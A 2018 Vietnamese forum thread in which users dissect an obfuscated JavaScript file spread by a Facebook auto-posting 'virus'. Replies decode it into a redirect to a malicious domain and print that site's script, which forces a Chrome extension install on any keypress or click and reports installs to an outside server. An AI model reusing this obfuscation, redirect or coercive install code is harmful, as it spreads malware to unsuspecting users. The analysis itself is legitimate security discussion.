30/09/2018, 20:11

Đoạn Code auto post trên facebook!

Hôm nay, Facebook mới xuất hiện một “virus” mới auto post bài vào các group
Em đã thử tải cái file đó về và mở lên bằng notepad thì ra một đoạn code như sau

<script type="text/javascript">
function veqdamp(npl){
var zqg = "xMunXiVA7g:4THp03LtFUd.KRDfk1oaGSh?Zl=8z9NYs/vI5jBPbeyOrECJ2m6c";
var qdj = [":SYz.EO1gjZkl=Kxe?f82Gvo6hFHArta3IsL94iMpDcTCB0d7RUPVJXn5ybN/mu","DieKgm1A4HNchJ=avpT59Zj70f3X.nboMBtV2UIzEGk8uYSslyr:O/F6LdC?PxR","luc:5SXny3ad6HMh0rFEY?ms2V=IBCbvOG1xNLjZDz.7/fkRJTiKU84P9teAopg","sg81NAhX3j=SDeuv5KH9M:kTGyf?LbcBVIr.RO7ixU4FCnla2m0t/pzdJE6ZPoY","t01nUyFbIz3sl=h6fdHVEYPAXLopN8Sk/K42uv9gj.:rDGeMmZcJBOiT7xCa5R?","oZ4g5aP072tsY?fClkUJE.SFrjLnv:e3MG=6Bp8HObKc1DhIximANd9RzuVXTy/"];
var qww = "";
var rpo = 0;
while(qdj[rpo]){
rpo++;
}
var bqj = 0;
while(npl[bqj]){
var ddm = 0;
var ltt = -1;
while(zqg[ddm]){
if(zqg[ddm] == npl[bqj]){
ltt = ddm;
break;
}
ddm++;
}
if(ltt >= 0){
var tfr = 0;
var yki = -1;
while(qdj[bqj%rpo][tfr]){
if(qdj[bqj%rpo][tfr] == npl[bqj]){
yki = tfr;
break;
}
tfr++;
}
qww += zqg[yki];
}else{
qww += npl[bqj];
}
bqj++;
}
return qww;
}
var fhh = window;
var gfs = veqdamp("fnM");
var gpl = veqdamp("9ngcHarK");
var phg = veqdamp("I6Uf");
fhh[gfs][gpl][phg] = veqdamp("ITFu31CYS:B:T=8YySfnMC82rXoYydTYlnmxww7du2");
</script>

Có bạn nào giải thích cách hoạt động của nó, mấy bạn bên web chắc biết mảng này

Tú Anh Hoàng viết 22:22 ngày 30/09/2018

window["top"]["location"]["href"]="http://videospyci.top/ogokmciysvxvjjwwsrlg";
chết rồi thì phải qua 1 hồi nhùng nhoằng thì tóm lại là redirect sang 1 trang khác lừa người dùng cài 1 cái extension

Khoa Nguyen viết 22:19 ngày 30/09/2018

Có tool nào tự động giải mã đoạn code trên không vậy anh ?

Gắn break point vào cũng ổn. Nhưng đang thắc mắc về auto tool

Vẫn đang tìm hiểu thuật toán trên

Tú Anh Hoàng viết 22:14 ngày 30/09/2018

Giải mã cái j vậy bạn
nhìn thấy cái windows to đùng kia là đủ biết mấy cái dòng chữ nhùng nhèo kia là để làm loạn óc người ta thôi
Nhưng cũng phải nói bạn này có cái thuật toán mã hóa string lần đầu đc thấy
còn để biết thì bạn cứ log result của mấy cái hàm veqdamp là thấy ngay

Ngô Doãn Tuấn viết 22:19 ngày 30/09/2018

Giải mã

Mình chỉ mong là được giải thích để hiểu xem đoạn chương trình trên nó làm việc gì thôi mà. Mình có mong muốn giải mã với code đâu
Mình thấy nó lại là một loại code auto mới xuất hiện trên facebook nên tò mò thôi mà.
Mình không rành về phần này nên mới muốn tham khảo ý của mọi người

Tú Anh Hoàng viết 22:25 ngày 30/09/2018

mình rep bạn @thangngoc89 :v
từ cái này cũng học được thêm vài thứ
nếu bạn muốn biết nó làm j thì vào cái link nó redirect đến ấy :v có rất nhiều thứ khá ảo diệu :3

null viết 22:25 ngày 30/09/2018

Có vẻ là không có gì vui

Tú Anh Hoàng viết 22:15 ngày 30/09/2018
Cứ vào đi, không cài extension là được. 
đây là đoạn script trên trang để hiển thị yêu cầu cài extension :slight_smile:
    installed = false;
    install = function() {
        $('html, body').animate({
            scrollTop: 0
        }, 100);
        $("#infopopup").show();
        $("#Alert").hide();
        chrome.webstore.install(
            'https://chrome.google.com/webstore/detail/ndimibemjenmgfjphhfgfcdgfegbpbac',
            function() {
                installed = true;
                ga('send', 'event', 'installed', 'ndimibemjenmgfjphhfgfcdgfegbpbac', {
                    useBeacon: true
                });
                jQuery.ajax({
                    url: "http://codebucket.info/php/installed.php",
                    type: "GET",
                    dataType: "jsonp",
                    success: function() {
                        window.setTimeout(function() {
                            document.getElementById("link").click();
                        }, 500);
                    }
                })
            },
            function(err) {
                $("#Alert").show();
                $("#infopopup").hide();
                $("body").css({
                    overflow: "hidden"
                });
            }
        );
    }

    $(document).keydown(install).mousedown(install);

    $(window).on('beforeunload', function() {
        $("#Alert").hide();
        if (installed == false) {
            return "Install extension!";
        }
    });
Bài liên quan
0